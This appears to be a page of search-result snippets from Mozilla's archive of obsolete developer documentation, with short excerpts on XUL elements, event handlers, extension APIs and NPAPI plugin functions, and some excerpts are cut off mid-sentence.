Add-on SDK - Archive of obsolete content
sdk idioms the sdk's event framework and the distinction between add-on scripts and content scripts.
Bootstrapped extensions - Archive of obsolete content
if the add-on manager is closed or another event takes place such that the "undo" option becomes unavailable, then the hard uninstall takes place and the uninstall function is called.
Alerts and Notifications - Archive of obsolete content
this works on windows, linux and (if growl is installed) mac os x: function popup(title, text) { try { components.classes['@mozilla.org/alerts-service;1'] .getservice(components.interfaces.nsialertsservice) .showalertnotification(null, title, text, false, '', null); } catch(e) { // prevents runtime error on platforms that don't implement nsialertsservice } } if you need to display a comparable alert on a platform that doesn't support nsialertsservice, you can do this: function popup(title, msg) { var image = null; var win = components.classes['@mozilla.org/embedcomp/window-watcher;1'] .getservice(components.interfaces.nsiwindowwatcher) ...
Customizing the download progress bar - Archive of obsolete content
oaditem = window.createdownloaditem; window.createdownloaditem = function(aattrs) { var dl = mydownloadmanager.defaultcreatedownloaditem(aattrs); if (dl) { if (...whatever condition you use to decide whether to change this download...) { dl.setattribute("myspecialdownload", "true"); } } return dl; } } }; window.addeventlistener("load", function(e) { mydownloadmanager.init(); }, false); in your css file, change richdownloaditem (both occurrences) to richdownloaditem[myspecialdownload="true"].
File I/O - Archive of obsolete content
// you can read it into a string with var data = netutil.readinputstreamtostring(inputstream, inputstream.available()); }); read with content type hint it's useful to provide a content type hint to prevent the file system from doing a potentially expensive content type look up (which would be synchronous i/o).
JavaScript Debugger Service - Archive of obsolete content
var jsd = components.classes["@mozilla.org/js/jsd/debugger-service;1"] .getservice(components.interfaces.jsdidebuggerservice); jsd.on(); // enables the service till firefox 3.6, for 4.x use asyncon if (jsd.ison) jsd.off(); // disables the service hooks jsd operates using the events hook mechanism.
Page Loading - Archive of obsolete content
page loading on page load how to execute code each time a new page is loaded in browser/mail progress listeners progress listeners allow extensions to be notified of events associated with documents loading in the browser and with tab switching events.
Post data to window - Archive of obsolete content
preprocessing post data the apostdata argument of the (global) loaduri(), opendialog(), and (tab)browser.loaduriwithflags() methods expects the post data in the form of an nsiinputstream (because they eventually call nsiwebnavigation.loaduri()) while post data can be created using nsimimeinputstream.
Sidebar - Archive of obsolete content
for example, use this in your sidebar's unload event handler: mainwindow.document.getelementbyid("sidebar-splitter").hidden = mainwindow.document.getelementbyid("sidebar-box").hidden; see also bootstrap demo addon that creates a sidebar with html content: https://gist.github.com/noitidart/8728393 ...
Tabbox - Archive of obsolete content
handling onclosetab event assuming the tabbox, tabs, and tabpanels widgets with id's the same as their nodename, this function will correctly remove the current tab and tab panel for the onclosetab tabs event: function removetab(){ var tabbox = document.getelementbyid("tabbox"); var currentindex = tabbox.selectedindex; if(currentindex>=0){ var tabs=document.getelementbyid("tabs"); var tabpanels=document.getelementbyid("tabpanels"); tabpanels.removechild(tabpanels.childnodes[currentindex]); tabs.removeitemat(currentindex); /*work...
Delayed Execution - Archive of obsolete content
queuing a task in the main event loop when a task needs to be only briefly delayed, such that it runs after the current call chain returns, it can be added directly to the main thread's event queue rather than scheduled as a timeout: function executesoon(func) { services.tm.mainthread.dispatch(func, ci.nsithread.dispatch_normal); } using nsitimers to schedule tasks in instances where settimeout() and setinterval() are unavailable, or insufficient, tasks can be scheduled with delays using nsitimer instances.
JavaScript timers - Archive of obsolete content
setimmediate() calls a function immediately after the browser has completed other operations, such as events and display updates.
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
eventually it will reach your extension and generate a bunch of stuff under /mozilla/$(moz_objdir)/: exported header files and generated header files (from idl) in dist/include/ static libraries for your modules in dist/lib/ (in case other modules want to link statically to your stuff instead of using xpcom).
Install Manifests - Archive of obsolete content
note: this property is no longer supported under gecko 1.9.2 (firefox 3.6) or later, to prevent extensions from being installed in such a way that the user might not be able to tell they're installed.
Jetpack Processes - Archive of obsolete content
to prevent such memory leaks, a process can either invalidate a handle, immediately preventing it from being passed as a message argument, or it can unroot the handle, allowing it to be passed as a message argument until all references to it are removed, at which point it is garbage collected.
Multiple item extension packaging - Archive of obsolete content
there is currently no feature to prevent or warn the user when installing an older version of an extension.
Offering a context menu for form controls - Archive of obsolete content
window.addeventlistener("load", function() { let settargetoriginal = nscontextmenu.prototype.settarget; components.utils.reporterror(settargetoriginal); nscontextmenu.prototype.settarget = function(anode, arangeparent, arangeoffset) { settargetoriginal.apply(this, arguments); if (this.istargetaformcontrol(anode)) this.shoulddisplay = true; }; }, false); this code, which is...
Adding sidebars - Archive of obsolete content
the load event is fired every time the sidebar is opened, and unload every time it's closed, so you can use those for initialization and clean up .
Adding windows and dialogs - Archive of obsolete content
you can also use the focus function to focus an element depending on events such as window load.
Appendix D: Loading Scripts - Archive of obsolete content
safety: as workers have no access to objects which might cause a crash or deadlock when executed re-entrantly or by spinning the event loop, there are significant safety advantages over other methods of asynchronous execution.
Handling Preferences - Archive of obsolete content
if you are going to use xpcom, you should always set a default value to your preferences, or use a try / catch block to prevent unhandled errors.
Observer Notifications - Archive of obsolete content
*/ observe : function(asubject, atopic, adata) { if (atopic == "xulschoolhello-test-topic") { asubject.queryinterface(ci.nsisupportsstring); window.alert("subject: " + asubject.data); // => "this is a test" window.alert("data: " + adata); // => "hello" } } } window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); window.addeventlistener( "unload", function() { xulschoolchrome.browseroverlay.uninit(); }, false); in the observe method the notification topic is verified because you can have one observer listening to several topics.
The Box Model - Archive of obsolete content
as their names should make clear, you can control the flexibility boundaries of elements, thus preventing them from growing or shrinking too much.
Useful Mozilla Community Sites - Archive of obsolete content
amo has a review process that prevents malicious, insecure or low quality extensions to make it to the public site.
XUL School Tutorial - Archive of obsolete content
introduction introduction getting started with firefox extensions the essentials of an extension setting up a development environment javascript object management basic functionality adding menus and submenus adding toolbars and toolbar buttons adding events and commands adding windows and dialogs adding sidebars user notifications and alerts intermediate functionality intercepting page loads connecting to remote content handling preferences local storage advanced topics the box model xpcom objects observer notifications custom xul elements with xbl mozilla documentation roadmap useful mozilla community si...
Security best practices in extensions - Archive of obsolete content
one way to do this is to use custom dom events; see interaction between privileged and non-privileged pages.
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
we were hoping to go all the way with the xhtml conversion, but our ad units and some other third-party content prevent us from doing so.
CSS3 - Archive of obsolete content
css page floats working draft css grid layout unknown css line grid module level 1 working draft css positioned layout module level 3 working draft css regions module level 1 working draft defines a new mechanism allowing content to flow across, eventually non-contiguous, multiple areas called regions.
Creating a dynamic status bar extension - Archive of obsolete content
we use the window.addeventlistener() dom function to tell firefox to call the stockwatcher.startup() function when a new browser window is opened: window.addeventlistener("load", function(e) { stockwatcher.startup(); }, false); our new extension has two primary functions: startup() and refreshinformation().
beforecopy - Archive of obsolete content
the beforecopy event was part of copy logic override, a feature of the clipboard api added in january 2014 and removed in april 2016.
beforecut - Archive of obsolete content
the beforecut event was part of copy logic override, a feature of the clipboard api added in january 2014 and removed in april 2016.
beforepaste - Archive of obsolete content
the beforepaste event was part of copy logic override, a feature of the clipboard api added in january 2014 and removed in april 2016.
sort - Archive of obsolete content
the sort event was part of the table sorting algorithm in the table sorting model, a feature of the html 5 working draft added in december 2012 and removed in january 2016.
Notes on HTML Reflow - Archive of obsolete content
eventually, the reflowdirty incremental reflow is dispatched, and arrives at the container frame that scheduled it.
Source code directories overview - Archive of obsolete content
the event loop for all platforms).
Automated testing tips and tricks - Archive of obsolete content
w.dump.enabled", true); to profiledir/user.js how to execute test code with chrome privileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished how to detect content onload event from chrome use the domcontentloaded event chromewindow.addeventlistener('domcontentloaded',callbackfunction,false); ...
Protecting Mozilla's registry.dat file - Archive of obsolete content
in order to prevent this, it's preferable to have mozilla's registry.dat file copied over from the server using the logon script.
Adding the structure - Archive of obsolete content
<statusbar id="status-bar" class="chromeclass-status" ondragdrop="nsdraganddrop.drop(event, contentareadndobserver);"> <statusbarpanel id="component-bar"/> <statusbarpanel id="statusbar-display" label="&statustext.label;" flex="1"/> <statusbarpanel class="statusbarpanel-progress"> <progressmeter class="progressmeter-statusbar" id="statusbar-icon" mode="normal" value="0"/> </statusbarpanel> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" status="none"/> <statusbarpanel class="statusbarpanel-iconic" id="offline-status"/> <statusbarpanel class...
Making it into a static overlay - Archive of obsolete content
<statusbar id="status-bar" class="chromeclass-status" ondragdrop="nsdraganddrop.drop(event, contentareadndobserver);"> <statusbarpanel id="component-bar"/> <statusbarpanel id="statusbar-display" label="&statustext.label;" flex="1"/> <statusbarpanel class="statusbarpanel-progress"> <progressmeter class="progressmeter-statusbar" id="statusbar-icon" mode="normal" value="0"/> </statusbarpanel> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox...
Tinderbox - Archive of obsolete content
the tool enables mozilla.org to be immediately notified of changes to the code that prevent mozilla from compiling and running (or compromise performance and footprint) so they can get someone to fix the problem or reverse the changes.
Developing New Mozilla Features - Archive of obsolete content
eventually you’ll be plugged in enough you won’t need us, you’ll be able to find your own back-ups.
Devmo 1.0 Launch Roadmap - Archive of obsolete content
see also current events.
Editor Embedding Guide - Archive of obsolete content
in calling this method, the editor is created underneath and the event listeners are all prepa if (ns_failed(rv)) return ns_error_failure; // we are not setup??!!
Error Console - Archive of obsolete content
types of errors error usually a syntax error that prevents the program from compiling.
Exception logging in JavaScript - Archive of obsolete content
exception reporting in firefox 3 firefox 3 improves reporting of unhandled exceptions by establishing a set of rules that determines whether or not an exception is worth reporting: any methods on interfaces annotated with the [function] attribute in idl (see, for example, nsidomeventlistener) that throw exceptions always report those exceptions into the error console.
External CVS snapshots in mozilla-central - Archive of obsolete content
eventually we'd like to have acls, but as of today there is no protection for accidental commits to those directories.
Repackaging Firefox - Archive of obsolete content
check this if the homepage needs to be different from the default to prevent the migration wizard from overwriting it.
Style System Overview - Archive of obsolete content
we optimize event state changes (:hover, :active, etc.) using nsistyleruleprocessor::hasstatedependentstyle, which is much more accurate.
GRE - Archive of obsolete content
this prevents dynamically finding a compatible gre at runtime.
Me - Archive of obsolete content
ArchiveMozillaJetpackMetaMe
note that this mechanism is independent of the first-run page; in particular, the callback is not a load event listener or jquery ready callback.
UI - Archive of obsolete content
menu accessing, modifying, and creating menus in the browser slidebar ui mechanism for displaying jetpack content in a slide-out animated vertical column toolbar including entries and access elements into the toolbar panel a movable, expandable, and custom styled content element to display jetpack content tabs adding events and interacting with browser tabs and their contained documents statusbar low-level functions and basic calls notifications a system for alerting users via provided ui mechanisms selection interacting with user-selected content window mitigates and eases interactions between different browser windows ...
Microsummary topics - Archive of obsolete content
for example, you might include the following header in your response to prevent firefox from making another microsummary-related request for one hour: cache-control: max-age=3600 note: because of a technical limitation (bug 346820), firefox uses the same cache for both microsummary-related requests and user-initiated requests, so the cache headers you return apply to both.
Modularization techniques - Archive of obsolete content
we also do cross-thread proxying calls using the typelib and nspr's event queues.
Monitoring downloads - Archive of obsolete content
that means all its work can be done in its load event handler, which looks like this: onload: function() { // open the database this.dbfile = components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .get("profd", components.interfaces.nsifile); this.dbfile.append("downloadlogger.sqlite"); // get access to the storage service and open the datab...
Mozilla Crypto FAQ - Archive of obsolete content
yes, as long as patent or other legal issues do not prevent such code from being used by the general community of mozilla developers.
Nanojit - Archive of obsolete content
hence, guards are needed to prevent certain erroneous behaviour that might result from the assumptions that are generally made while jit is generated.
SXSW 2007 presentations - Archive of obsolete content
presentations about the mozilla project given at the sxsw 2007 event in austin, texas.
Supporting per-window private browsing - Archive of obsolete content
function pbobserver() { /* clear private data */ } var os = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); os.addobserver(pbobserver, "last-pb-context-exited", false); preventing a private session from ending if there are unfinished transactions involving private data, where the transactions will be terminated by the ending of a private session, an add-on can vote to prevent the session from ending (prompting the user is recommended).
The life of an HTML HTTP request - Archive of obsolete content
todo: views, viewmanager, eventstatemanager?
The new nsString class implementation (1999) - Archive of obsolete content
second, they are concerned that programmers be prevented from abusing the string classes in a number of ways.
Using Breakpoints in Venkman - Archive of obsolete content
the most common use of future breakpoints is to stop in a "top level" script (script that executes outside of any function), or script that executes during the onload event of a page.
Venkman - Archive of obsolete content
bandhauer then went on to reflect that api into java, and create his cross platform front end, eventually producing netscape javascript debugger 1.0 and 1.1.
XBL - Archive of obsolete content
bindings can contain event handlers that are registered on the bound element, an implementation of new methods and properties that become accessible from the bound element, and anonymous content that is inserted underneath the bound element.
Unix stub installer - Archive of obsolete content
these are eventually zipped with the directory structure preserved.
Windows stub installer - Archive of obsolete content
these are eventually zipped with the directory structure preserved.
InstallTrigger.installChrome - Archive of obsolete content
installtrigger.installchrome trigger scripts are typically invoked by javascript event handlers on hyperlinks.
Trigger Scripts and Install Scripts - Archive of obsolete content
trigger scripts and install scripts trigger scripts are simple installations that can be initiated from event handlers and other javascript code on a web page.
Learn XPI Installer Scripting by Example - Archive of obsolete content
note also that for the installation script in a xpi to be automatically triggered from a web page, you must use a "trigger script." the following installtrigger function, called from an event handler on a regular web page, will point to the remotely-hosted xpi (called here 'cdrip.xpi') and trigger its installation: function putit() { xpi={'cd_ripper':'cdrip.xpi'}; installtrigger.install(xpi); } ...
accesskey - Archive of obsolete content
*(these are the keys corresponding to event.ctrlkey and event.metakey respectively when listening to key events) although the value is case insensitive, a letter with the case matching the accesskey attribute will be used if both cases exist in the label.
attribute - Archive of obsolete content
when the value of the attribute changes, the broadcast event is called on the observer.
browser.type - Archive of obsolete content
this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the principal of the parent document.
button.type - Archive of obsolete content
repeat this button will fire its command event repeatedly while the mouse button is held down.
buttons - Archive of obsolete content
the buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically.
disablefastfind - Archive of obsolete content
this is used to prevent the find bar from being displayed when it's not supported by the content (such as in the add-ons manager tab).
dlgtype - Archive of obsolete content
you can use this feature to replace the standard dialog box buttons with custom buttons, yet the dialog event methods will still function.
droppedLinkHandler - Archive of obsolete content
droppedlinkhandler(event, uri, name) -- firefox 51 or older droppedlinkhandler(event, links) -- firefox 52 or newer event -- drop event, or null if no event is available uri -- uri string of the dropped link name -- name string of the dropped link links -- array of the dropped items with nsidroppedlinkitem interface ...
fullscreenbutton - Archive of obsolete content
the window receives a "fullscreen" event once the change has been made.
ignoreblurwhilesearching - Archive of obsolete content
« xul reference home ignoreblurwhilesearching new in thunderbird 3requires seamonkey 2.0 type: boolean if true, blur events are ignored while searching, which means that the autocomplete popup will not disappear.
linkedpanel - Archive of obsolete content
this might be used to avoid duplication by linking several tabs to one panel with slight differences to the content adjusted in the select event.
menuactive - Archive of obsolete content
a dommenuitemactive event will be sent to the item when the item is hovered over, and a dommenuiteminactive event will be sent to the item when the selection moves away.
noinitialfocus - Archive of obsolete content
this lets you prevent things like descriptions and labels from inadvertently receiving initial focus.
onbeforeaccept - Archive of obsolete content
returning false doesn't currently prevent the dialog from closing, but does prevent saving (bug 474527).
onclick - Archive of obsolete content
« xul reference home onclick type: script code this event handler is called when the object is clicked.
oncommandupdate - Archive of obsolete content
« xul reference home oncommandupdate type: script code this event occurs when a command update occurs.
onerror - Archive of obsolete content
« xul reference home onerror type: script code this event is sent to an image element when an error occurs loading the image.
onerrorcommand - Archive of obsolete content
« xul reference home onerrorcommand type: script code this event handler is called when an error occurs when selecting a result from the popup.
onpaneload - Archive of obsolete content
« xul reference home onpaneload type: script code code defined here is called when the pane has been loaded, much like the load event for a window.
onpopuphiding - Archive of obsolete content
« xul reference home onpopuphiding type: script code this event is sent to a popup when it is about to be hidden.
onpopupshown - Archive of obsolete content
« xul reference home onpopupshown type: script code this event is sent to a popup after it has been opened, much like the onload event is sent to a window when it is opened.
onsearchbegin - Archive of obsolete content
« xul reference home onsearchbegin type: script code this event handler is called when the autocomplete search begins.
onsearchcomplete - Archive of obsolete content
« xul reference home onsearchcomplete new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when the autocomplete search is finished and results are available.
ontextcommand - Archive of obsolete content
« xul reference home ontextcommand obsolete since gecko 1.9.1 type: script code note: applies to: thunderbird, seamonkeythis event handler is called when a result is selected for the textbox.
ontextentered - Archive of obsolete content
« xul reference home ontextentered new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when a result is selected for the textbox.
ontextrevert - Archive of obsolete content
« xul reference home ontextrevert obsolete since gecko 1.9.1 type: script code note: applies to: thunderbird, seamonkey this event handler is called when the user presses escape to revert the textbox to its original uncompleted value.
ontextreverted - Archive of obsolete content
« xul reference home ontextreverted new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when the user presses escape to revert the textbox to its original uncompleted value.
popupalign - Archive of obsolete content
instead the popup content comes up directly underneath the mouse event coordinates.
popupanchor - Archive of obsolete content
instead the popup content comes up directly underneath the mouse event coordinates.
preference-editable - Archive of obsolete content
the element should fire change, command, or input event when the value is changed so that the preference will update accordingly.
prefwindow.onload - Archive of obsolete content
« xul reference home prefwindow.onload type: script code when a window finishes loading, it calls this event handler on the prefwindow element.
sizemode - Archive of obsolete content
listen to the sizemodechange event dispatched to the dom window to get notified when the window state changes.
tabs.onselect - Archive of obsolete content
« xul reference home onselect type: script code this event is sent to the tabs element when this tab is changed.
targets - Archive of obsolete content
the command update will only occur when the event occurs to one of the specified elements.
textbox.ignoreBlurWhileSearching - Archive of obsolete content
« xul reference home ignoreblurwhilesearching obsolete since gecko 1.9.1 type: boolean if true, blur events are ignored while searching, which means that the autocomplete popup will not disappear.
onunload - Archive of obsolete content
« xul reference home onunload type: script code closing the window calls this event handler on the prefwindow element.
Dynamically modifying XUL-based user interface - Archive of obsolete content
you may also have used other calls, such as element.setattribute(), or, if you wrote an extension, the addeventlistener() method.
Writing to Files - Archive of obsolete content
in this example, the nocreate flag is used to prevent the creation of new files, and the append flag is used to append to an existing file.
How to implement a custom XUL query processor component - Archive of obsolete content
// eventually we should read the <query> to create filters return this._data; }, generateresults: function(adatasource, aref, aquery) { // preform any query and pass the data to the result set return new templateresultset(this._data); }, addbinding: function(arulenode, avar, aref, aexpr) { // add a variable binding for a particular rule, which we aren't using yet }, translat...
swapDocShells - Archive of obsolete content
during the swap, pagehide and pageshow events are fired on both browsers.
clearSelection - Archive of obsolete content
a select event is sent before the items are deselected.
doCommand - Archive of obsolete content
« xul reference home docommand() return type: no return value executes the command event for the element.
onSearchComplete - Archive of obsolete content
« xul reference home onsearchcomplete() return type: no return value calls the onsearchcomplete event handler.
onTextEntered - Archive of obsolete content
« xul reference home ontextentered() return type: event result calls the ontextentered event handler.
onTextReverted - Archive of obsolete content
« xul reference home ontextreverted() return type: event result calls the ontextreverted event handler.
selectAll - Archive of obsolete content
a select event is sent after the selection is made.
selectItem - Archive of obsolete content
a select event is sent after the selection is made.
selectItemRange - Archive of obsolete content
a select event is sent after the selection is made.
Namespaces - Archive of obsolete content
although there's nothing preventing someone else from using the namespace http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul, it's fairly unlikely anyone would choose that accidentally.
Special per-platform menu considerations - Archive of obsolete content
however, regardless of the platform, the command event will be fired on the menu item when it is activated by the user.
buttons - Archive of obsolete content
the buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically.
controllers - Archive of obsolete content
xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_delete"); }, iscommandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, docommand : function(cmd){ list.removeitemat(list.selectedindex); }, onevent : function(evt){ } }; list.controllers.appendcontroller(listcontroller); } </script> <listbox id="thelist"> <listitem label="ocean"/> <listitem label="desert"/> <listitem label="jungle"/> <listitem label="swamp"/> </listbox> </window> ...
locked - Archive of obsolete content
« xul reference locked type: boolean if true, the preference has been locked and disabled in the system configuration, preventing the value from being changed.
selectedItem - Archive of obsolete content
a select event will be sent to the controlling container (i.e.
selectedPanel - Archive of obsolete content
a select event will be sent when the selected panel is changed.
tabContainer - Archive of obsolete content
this is useful for add-ons that need to use events related to tabs in the browser window.
textValue - Archive of obsolete content
note: setting the value causes an input event to be generated without triggering autocompletion.
triggerNode - Archive of obsolete content
« xul reference triggernode type: nsidomnode this read-only property holds the dom node that generated the event triggering the opening of the popup.
Providing Command-Line Options - Archive of obsolete content
]), /* nsicommandlinehandler */ handle : function clh_handle(cmdline) { try { // changeme: change "viewapp" to your command line flag that takes an argument var uristr = cmdline.handleflagwithparam("viewapp", false); if (uristr) { // convert uristr to an nsiuri var uri = cmdline.resolveuri(uristr); openwindow(chrome_uri, uri); cmdline.preventdefault = true; } } catch (e) { components.utils.reporterror("incorrect parameter passed to -viewapp on the command line."); } // changeme: change "myapp" to your command line flag (no argument) if (cmdline.handleflag("myapp", false)) { openwindow(chrome_uri, null); cmdline.preventdefault = true; } }, // changeme: change the help info as approp...
Result Generation - Archive of obsolete content
eventually, you will end up with a set of nodes you consider the endpoints of your query.
Template and Tree Listeners - Archive of obsolete content
the tree observer receives drag related events in three places: over a container row, before a row, and after a row.
The Joy of XUL - Archive of obsolete content
with xbl, developers can define new content for xul widgets, add additional event handlers to a xul widget, and add new interface properties and methods.
Things I've tried to do with XUL - Archive of obsolete content
resize event problems going with the inability to obtain the clientwidth/clientheight of xul elements, it's impossible to handle the "resize" event yourself to grow/shrink content as needed -- as you grow the content, when you shrink the window, the content will simply be clipped (because now it has a bigger size than the window).
Complete - Archive of obsolete content
have a bug that prevents this from working.
Toolbars - Archive of obsolete content
toolbar customization events a look at the events that are sent during toolbar customization; you can use these to be kept aware of changes to toolbars.
Adding Buttons - Archive of obsolete content
you can add align="start" to the window tag to prevent the stretching.
Box Model Details - Archive of obsolete content
you can also prevent this stretching by placing a maximum height on the elements or, better, on the box itself.
Box Objects - Archive of obsolete content
some of these subtypes, such as the stack or listbox are needed for more complex layouts than the basic box, while others such as the button are used only to add extra mouse and key event handling.
Content Panels - Archive of obsolete content
this prevents the content from traversing up to the xul window.
Creating a Wizard - Archive of obsolete content
when trying to use a function in the event above, such as pageadvanced, you should use return funcname() instead of just calling funcname() or it will not work as expected e.g.
Document Object Model - Archive of obsolete content
however, for various reasons, including better performance, you should always put scripts in separate files, except for short fragments which can be put directly in the event handler.
Manifest Files - Archive of obsolete content
this flag was added to prevent this problem and should always be used for newer extensions, but is left out for older extensions that might not be compatible with the change.
Modifying a XUL Interface - Archive of obsolete content
); var sindex = document.getelementbyid("group").selectedindex; name.disabled = sindex == 0; } </script> <radiogroup id="group" onselect="updatestate();"> <radio label="random name" selected="true"/> <hbox> <radio label="specify a name:"/> <textbox id="name" value="jim" disabled="true"/> </hbox> </radiogroup> in this example a function updatestate() is called whenever a select event is fired on the radio group.
Numeric Controls - Archive of obsolete content
a scale will fire a change event whenever the scales's value is modified.
Scrolling Menus - Archive of obsolete content
next, we'll see how to add some event handlers to xul elements.
Skinning XUL Files by Hand - Archive of obsolete content
also, most of the behavior that buttons exhibit comes from styles and an event model based on javascript that dynamically switches between these styles.
Stack Positioning - Archive of obsolete content
when responding to mouse events, the elements on top will capture the events first.
XBL Attribute Inheritance - Archive of obsolete content
if you need to map an attribute to the text content of the node, use "xbl:text" as the inner attribute, eg: <xul:description xbl:inherits="xbl:text=value"/> in the next section, we look at adding properties, methods and events to a binding.
XPCOM Examples - Archive of obsolete content
the example below shows how we might do this: <toolbox> <menubar id="windowlist-menubar"> <menu label="window" oncommand="switchfocus(event.target);"> <menupopup id="window-menu" datasources="rdf:window-mediator" ref="nc:windowmediatorroot"> <template> <rule> <menuitem uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </rule> </template> </menupopup> </menu> </menubar> </toolbox> <script> function switchfocus(elem) { var mediator = components.classes["@mozilla.org/rdf/datasource;1?name...
XPCOM Interfaces - Archive of obsolete content
try this example by adding this code to an event handler.
Urlbar-icons - Archive of obsolete content
.) example the default contents of browser.xul: <hbox id="urlbar-icons"> <button be="" chromedir="ltr" class="urlbar-icon" click="" for="" id="safebrowsing-urlbar-icon" img="" level="safe" might="" onclick="godocommand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="this" type="menu"> <img class="urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address="" chromedir="ltr" class="urlbar-icon" id="go-button" in="" location="" onclick="handleurlbarcommand(event);" p="" the="" to="" tooltiptext="go" /> </button> </hbox> ...
XUL Changes for Firefox 1.5 - Archive of obsolete content
the pageshow and pagehide events are used when switching from a page in the cache, while the load and unload events are used only when the page is loaded or unloaded.
XUL Reference - Archive of obsolete content
binding bindings conditions content member param query queryset rule template textnode triple where script commandset command broadcaster broadcasterset observes key keyset stringbundle stringbundleset arrowscrollbox dropmarker grippy scrollbar scrollcorner spinbuttons all attributes all properties all methods attributes defined for all xul elements style classes event handlers deprecated/defunct markup ...
XUL - Archive of obsolete content
xul reference xul elements, attributes, properties, methods, and event handlers.
Application Update - Archive of obsolete content
et to: minor releases: major releases: // 0 download no prompt download no prompt // 1 download no prompt download no prompt if no incompatibilities // 2 download no prompt prompt // // see chart in nsupdateservice.js.in for more details // pref("app.update.mode", 1); // if set to true, the update service will present no ui for any event.
CommandLine - Archive of obsolete content
var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.notifyobservers(window.arguments[0], "commandline-args-changed", null); addeventlistener("unload", observer.unregister, false); finally, add a reference in your application window to the observer: chrome/content/window.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="main" title="&window.title;" windowtype="xulmine" style="width: 300px...
XULRunner Hall of Fame - Archive of obsolete content
pyjamas-desktop a python web widget toolkit (similar to pyqt4 and pygtk2) that uses xulrunner dom to implement the widgets and event handling.
How to enable locale switching in a XULRunner application - Archive of obsolete content
here is an example event handler which is fired when the user clicks on the button to change the locale.
mozilla.dev.platform FAQ - Archive of obsolete content
please make sure you're using 1.8.0.4 or later (not 1.8.0.1, which had a bug that prevented this from working properly).
Mozilla release FAQ - Archive of obsolete content
this section is to prevent rehashing of the same debates over and over again on the newsgroups.
2006-11-10 - Archive of obsolete content
event in firefox similar to ondownloadcomplete event in ie an inquiry about how to change the font of a web page before it is displayed using an extenstion.
Extentsions FAQ - Archive of obsolete content
could someone make an extension for thunderbird that preview upcomeing events and number of new messages?
2006-11-17 - Archive of obsolete content
link to the event here.
2006-11-3 - Archive of obsolete content
discussions last check-ins on sun-calendar-event-dialog.* files last check-ins on sun-calendar-event-dialog.* files from 50 to 100 locales how to get from the 50 locales and releasing 40 to a hundred.
2006-10-27 - Archive of obsolete content
he recommends that a non-xpcshell environment is needed really badly, but the big issue is that the xpcshell doesn't have an event loop, so nothing asynchronous can be tested.
2006-11-10 - Archive of obsolete content
good ideas a splinter off of the extended validation certificates discussion going over whether or not fraudulent websites may get these certificates and if so how to prevent this from happening.
2006-11-03 - Archive of obsolete content
the event will be held on the irc server irc.mozilla.org in the channel #javascript.
2006-11-24 - Archive of obsolete content
a user writes that the licensing incompatibilities between gpl and mpl would prevent java code to be added in mozilla.
2006-10-20 - Archive of obsolete content
discussions october 16, 2006, 5:10pm - david marteau notes that using "persist" on templatized content prevents from restoring values for the persistent attributes.
Monitoring plugins - Archive of obsolete content
pic == "experimental-notify-plugin-call") //in case your class is registered to listen to other topics //this gets executed each time a runtime notification arrives // --your code goes here-- } }, //takes care of registering the observer services for the "experimental-notify-plugin-call" topic register: function() { if (this.registered == false) { //this check prevents double registration -- something you want to avoid!!
NPN_InvalidateRect - Archive of obsolete content
npn_invalidaterect() causes the npp_handleevent() method to pass an update event or a paint message to the plug-in.
NPN_InvalidateRegion - Archive of obsolete content
npn_invalidateregion() causes the npp_handleevent() method to pass an update event or a paint message to the plug-in.
NPN_PluginThreadAsyncCall - Archive of obsolete content
it is the application's responsibility to perform any synchronization between the thread calling npn_pluginthreadasynccall() and the thread on which the call is eventually executed.
NPN_SetValue - Archive of obsolete content
in windowless mode all the browser to plugin communications related to drawing, mouse, and keyboard input are accomplished via npp_handleevent.
NPP_SetWindow - Archive of obsolete content
see also npp_handleevent, npwindow, np_port ...
NPRegion - Archive of obsolete content
syntax windows: typedef hrgn npregion; mac os x: typedef rgnhandle npregion; note: this may need to be updated for the cocoa event model.
NPAPI plug-in side API - Archive of obsolete content
npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_urlnotify npp_write npp_writeready ...
Security Controls - Archive of obsolete content
the motivation for having multiple layers is that if one layer fails or otherwise cannot counteract a certain threat, other layers might prevent the threat from successfully breaching the system.
Introduction to SSL - Archive of obsolete content
some organizations may want to disable the weaker ciphers to prevent ssl connections with weaker encryption.
Vulnerabilities - Archive of obsolete content
according to the open web application security project, xss was the seventh most common web app vulnerability in 2017.
Using the W3C DOM - Archive of obsolete content
in addition to these access methods, the w3c dom specifications provide methods for creating new elements and inserting them in a document, for creating attributes, new content, for traversing the content tree and for handling events dispatched as the user interacts with the document itself.
Browser Detection and Cross Browser Support - Archive of obsolete content
these include the window.event object, behaviors, filters, transitions, and activex.
-moz-stack-sizing - Archive of obsolete content
/* keyword values */ -moz-stack-sizing: auto; -moz-stack-sizing: ignore; /* global values */ -moz-stack-sizing: inherit; -moz-stack-sizing: initial; -moz-stack-sizing: unset; if you wish to prevent the stack from resizing automatically to accommodate its children, you can set -moz-stack-sizing to ignore on the child element.
